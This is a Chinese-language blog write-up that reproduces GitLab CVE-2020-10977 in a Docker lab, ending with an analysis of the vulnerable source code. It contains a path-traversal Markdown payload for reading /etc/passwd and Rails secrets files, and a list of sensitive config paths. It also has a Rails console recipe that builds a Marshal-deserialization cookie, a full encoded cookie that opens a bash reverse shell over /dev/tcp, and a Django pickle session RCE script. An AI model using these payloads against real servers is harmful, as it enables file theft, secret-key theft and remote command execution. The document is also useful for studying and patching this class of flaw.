cve-2020-10977 recurrence

First Post:
Last Update:
Word Count: 2.7k
Read Time: 12min

简介

GitLab CE/EE 版本 >=8.5,<=12.9

建立环境

网上较多的版本是 使用 Centos 重新建立的 这里用比加快的 Docker 镜像的方法 部署一个环境。Official Doc

参考文章 :

步骤如下

  1. docker pull 拉取镜像

    1
    sudo docker pull gitlab/gitlab-ce:12.8.0-ce.0
  2. 重新命名 TAG 方便使用 (这步骤可以省略)

    1
    sudo docker tag a505a4b614a7 cve-2020-10977
  3. 导入 基本的环境变量 sethome 这个位置是 docker 容器的位置

    1
    export GITLAB_HOME=/srv/gitlab
  4. 启动 docker 镜像

    docker run --detach \
    1
    2
    3
    4
    5
    6
    7
    8
    9
    --hostname gitlab.example.com \
    --publish 443:443 --publish 80:80 --publish 22:22 \
    --name gitlab \
    --restart always \
    --volume $GITLAB_HOME/config:/etc/gitlab \
    --volume $GITLAB_HOME/logs:/var/log/gitlab \
    --volume $GITLAB_HOME/data:/var/opt/gitlab \
    cve-2020-10977
    # 这里挂载了 几个镜像的盘 一个是 config 一个是log 一个是 数据 这里三个位置可以小小的记录一下。
  5. 进入内部环境

    1
    sudo docker exec -u root -it {docker 容器 cve-2020-10977 的 id 比如我这里是:f26f64d8c1fb} /bin/bash 
  6. 进去 shell 之后 看看 RELEASE 信息

    1
    2
    3
    4
    root@gitlab:/# cat /RELEASE
    RELEASE_PACKAGE=gitlab-ce
    RELEASE_VERSION=12.8.0-ce.0
    DOWNLOAD_URL=https://downloads-packages.s3.amazonaws.com/ubuntu-xenial/gitlab-ce_12.8.0-ce.0_amd64.deb
  7. 基础的一些 用户信息 特别是 git user

    1
    2
    3
    4
    5
    6
    7
    8
    9
    root@gitlab:/# cat /etc/passwd |grep git
    git:x:998:998::/var/opt/gitlab:/bin/sh
    gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
    gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
    gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
    mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
    registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
    gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
    gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
  8. 现在看看 我们docker去哪里了。离开 容器内部 看一下 arp 信息 一般性都能找到

    1
    2
    $ arp -a |grep docker
    ? (172.17.0.2) at 02:42:ac:11:00:02 [ether] on docker0

到此为止 这个镜像的基础环境算是已经搞定了

基本信息

使用 chrome 等 浏览器进入 对应的界面

先前版本的 gitlab 默认帐号密码

1
2
3
4
{
"user":"root",
"pass":"5iveL!fe"
}

当你 访问

先是会跳转到 密码 修改界面 变更你的密码。变更完毕之后 你的登录方式是 root:你的变更的密码

漏洞复现

LFI 过程

  1. 创建两个 仓库 例如 test 和 try

  2. 在其中一个 仓库 例如 test 提一个 issue

  3. issue 的 描述部分 Write 使用 Markdown 格式的 payload 这里存在 LFI (Local File Inclusion) 漏洞

    1
    ![a](/uploads/1111111111111111111111111111111111111111111/../../../../../../../../../../../../etc/passwd)
  4. 保存 issue 这时候还看不到 具体的信息

  5. 将这个 issue 进行转移 即 move issue 转移到 第二个仓库 try 中

  6. 访问 try 仓库的 issue 就会发现 这个 issue 的描述 存在一个链接 { 即文件passwd }

  7. 访问这个链接 便可以下载到 具体的 passwd 文件

做安全的都会有一种敏感性我觉得。

就目前已知 payload 的情况我们可以略微的猜测一下:

  • 在转移 issue 的时候 gitlab 没有设置路径的检查或弱检查 同时盲目的引入了内容
  • passwd 文本疑似被 git 的转存机制给暂时所转存 使得路径的检查失败 当转存发生在 Move issue的路径检查之前时很有可能就会发生这种问题

具体可能需要定位源码再来解释。从性质上来说 前者是程序员的安全意识疏忽 后者是处理上的逻辑漏洞。我更为偏向后我更为偏向后者。(毕竟是一个大范围版本通杀)

RCE 过程

  1. 这里需要横多的信息 有如下几个
  • 我们现在所在的用户组在 git:git
  • 我们可以检查一下当前 作为 git 用户可以 读取的敏感配置文件 可以用指令

find / -type f -perm -u+r 2>/dev/null|grep {你想要寻找的带路径文件名称 正则表达式}

  1. /var/opt/gitlab/gitlab-rails/etc/database.yml 数据库信息 包含用户名 可能含有密码
  2. /var/opt/gitlab/gitlab-rails/etc/secrets.yml !!! 这是最为重要的密钥保存点 保存了 几乎整个 rails 最重要的 secrets base
  3. /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml 同上
  4. /var/opt/gitlab/gitlab-rails/etc/gitlab.yml app 核心
  5. /var/opt/gitlab/gitlab-rails/etc/resque.yml
  6. /var/opt/gitlab/gitlab-shell/config.yml
  7. /var/opt/gitlab/gitlab-rails/etc/gitlab_pages_secret
  8. /var/opt/gitlab/gitlab-rails/etc/gitlab_shell_secret
  9. /var/opt/gitlab/gitlab-rails/etc/gitlab_workhorse_secret
  1. 盗取到对应的 gitlab key base 位置在 绝对路径 /var/opt/gitlab/gitlab-rails/etc/secrets.yml
1
2
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../var/opt/gitlab/gitlab-rails/etc/secrets.yml)

通过上述的 LFI 操作将文件下载下来两个文件 理应是一致的

  1. 可以获得如下的 key base 其中最为重要的是 secret_key_base 字段
  • db_key_base: 1bdc9b1cbb50c7a2415dcafeb5499e95f16b90e75eb7d0ca7ae84ed5816f4cc92300976a2bdb2a4962137d2356e1005a14ab717cc00a952365828fb4ca1d2ad6
  • secret_key_base: 6667c4c85f80291990f74f6af8262ee43e4db96c19f0b4a0ba9d19e9c33792fff67f1db370c546ecb3c364c4b38ddf2084fb7a03d822b15828a1b0285a801d20
  • otp_key_base: e8c41b7aa30ba3eb32fc478705c4c22f83f1665051389fbe7d4e942f65af4804d1a3e09d2bd38d7249ed19c53f48ee42552240931091d3e4bf9a0b648130594d
  1. 在 本地 建立 一个 gitlab 环境 对应进行如下的 反序列化 RCE payload 生成

    1
    2
    3
    4
    5
    6
    7
    8
    9
    gitlab-rails console # 进入rails console
    # in console
    request = ActionDispatch::Request.new(Rails.application.env_config)
    request.env["action_dispatch.cookies_serializer"] = :marshal
    cookies = request.cookie_jar
    erb = ERB.new("<%= `{Command you wnat execute}` %>")
    depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
    cookies.signed[:cookie] = depr
    puts cookies[:cookie]
  2. 构造最终请求

    1
    curl -vvv 'http://192.168.1.86:8888/users/sign_in' -b "experimentation_subject_id=cookie"

例如我这里的 payload

1
2
3
# irb 中生成 的 payload 为`bash -c 'bash -i >& /dev/tcp/172.17.0.1/7777 0>&1'`  # 是 docker 环境的标准实现

curl http://172.17.0.2/users/sign_in -b 'experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kidCNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGBiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4xNy4wLjEvNzc3NyAwPiYxJ2AgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=--6401a7540000bc231432e6a3c2eaf61ca843192c' -vvv
  1. 当 你在 7777 端口进行监听的时候 便可以获得 梦寐以求的 shell 返回 如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nc -lvvp 7777 
listening on [any] 7777 ...
connect to [172.17.0.1] from gitlab.example.com [172.17.0.2] 59420
bash: cannot set terminal process group (743): Inappropriate ioctl for device
bash: no job control in this shell
git@gitlab:~/gitlab-rails/working$ ls
ls
git@gitlab:~/gitlab-rails/working$ whoami
whoami
git
git@gitlab:~/gitlab-rails/working$ exit
exit
exit

内容扩展

在 从 LFI 进阶到命令执行的时候 可能会让很多新人迷惑 如果 不能完好解释出来这一点的话

这里使用了 Session 反序列化技巧 构造出一个 恶意的 cookie 名字为 experimentation_subject_id 值为对应的 那一长串对象的构造

然后请求一个必然 存在反序列化过程的 API (例如上面 /users/sign_in 登录接口)

应为此处 Cookie 对应的是 用户会话类型的对象 那么 最常使用的便是 登录 登出 接口

同样具有类似操作的还有 Python 的 Django 框架

当 Python 的 Django Secret key 泄露的时候 如发炮制 同样也可以造成 RCE

参考文章 http://www.code2sec.com/djangode-secret-keyxie-lou-dao-zhi-de-ming-ling-zhi-xing-shi-jian.html

当 Django 中 Secret Key 用作于 session 加密 并且 cookie-based session 的时候 session data 是存在于 用户处的

一旦任何数据存在于用户处都可造成 伪造的风险

当服务器需要从拿出 Session 会话的数据进行操作的时候 就会对 Cookie 进行反序列化操作

而 python 有一个知名的 反序列化库 具有这种问题 pickle

1
2
3
4
5
6
7
8
9
10
11
import pickle
import os

class Rce(object):
def __reduce__(self):
return (os.system,('ifconfig',))

a = Rce()
b = pickle.dumps(a)
print(b)
# pickle.loads(b) # loads 进行反序列化 在 运行结束的时候 会调用 对象的 __reduce__ 方法 于是便会 执行 命令 ifconfig

如此 bit4 给出了 对应的 Django POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

import os
import requests
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import pickle

def session_gen(SECRET_KEY,command = 'ping -n 3 test.0y0.link || ping -c test.0y0.link',):
class Run(object):
def __reduce__(self):
#return (os.system,('ping test.0y0.link',))
return (os.system,(command,))

#SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f'
SECRET_KEY = SECRET_KEY

sess = signing.dumps(Run(), key = SECRET_KEY,serializer=PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
#生成的恶意session
print sess


'''
salt='django.contrib.sessions.backends.signed_cookies'
sess = pickle.dumps(Run())
sess = signing.b64_encode(sess)#通过跟踪signing.dumps函数可以知道pickle.dumps后的数据还经过了如下处理。
sess = signing.TimestampSigner(key=SECRET_KEY, salt=salt).sign(sess)
print sess
#这里生成的session也是可以成功利用的,这样写只是为了理解signing.dumps。
'''

session = 'sessionid={0}'.format(sess)
return session

def exp(url,SECRET_KEY,command):

headers = {'Cookie':session_gen(SECRET_KEY,command)}
proxy = {"http":"http://127.0.0.1:8080"}#设置为burp的代理方便观察请求包
response = requests.get(url,headers= headers,proxies = proxy)
#print response.content

if __name__ == '__main__':
url = 'http://127.0.0.1:8000/'
SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f'
command = 'ping -n 3 test.0y0.link || ping -c test.0y0.link'
exp(url,SECRET_KEY,command)

当然 这个脚本可以进行一波 武器化

后续研究

我查找了具体当时 HackerOne 的漏洞说明

https://hackerone.com/reports/827052

可以说基本验证了我的两个猜想。一个是对转存文件的弱检查

1
MARKDOWN_PATTERN = %r{\!?\[.*?\]\(/uploads/(?<secret>[0-9a-f]{32})/(?<file>.*?)\)}.freeze

这是使用的 Markdown 对 32位的 全数字小写字母的匹配 并且解析出 secret 和 file 值

在下面的 Ruby 代码中

1
2
3
4
5
6
7
8
9
10
11
12
   @text.gsub(@pattern) do |markdown|
file = find_file(@source_project, $~[:secret], $~[:file])
break markdown unless file.try(:exists?)

klass = target_parent.is_a?(Namespace) ? NamespaceFileUploader : FileUploader
moved = klass.copy_to(file, target_parent)
...
def find_file(project, secret, file)
uploader = FileUploader.new(project, secret: secret)
uploader.retrieve_from_store!(file)
uploader
end

find_file 函数也并未对 file 的值存在任何效验

当不存在时 尝试根据提供的地址拷贝该文件 这里应该也并未有文件的效验。

作者还提供了 升级为 RCE 的扩大利用方法。

其原理正是之前我有提到的 Cookies 存储方式是字符串存储的不安全对象

https://gitlab.com/gitlab-org/gitlab-foss/-/blob/master/lib/gitlab/experimentation.rb#:~:text=121-,122,-123

这一个文件说明了 experimentation cookie 的处理方式。

Think

我觉得身为安全人员需要有一种警惕性和敏感性。 漏洞挖掘其实并不能只是浮于表面。这里的表面具有两种含义。

  • 一是不能止步于此。 尽管你发现的是 一个小小的应用程式 XSS 但是万一后面是 能运行处理 javascript 的 electron 应用呢? 或者你仅仅是发现了文件包含的点,或是尝试 引用出重要的配置文件(各种 secret base ,默认位置数据库备份)

  • 二是不能止步于操作和利用。 很多情况下 我们需要回归源码 寻找程序员当时编写程序的具体疏漏之处。从源码的角度解释出具体的漏洞产生原因。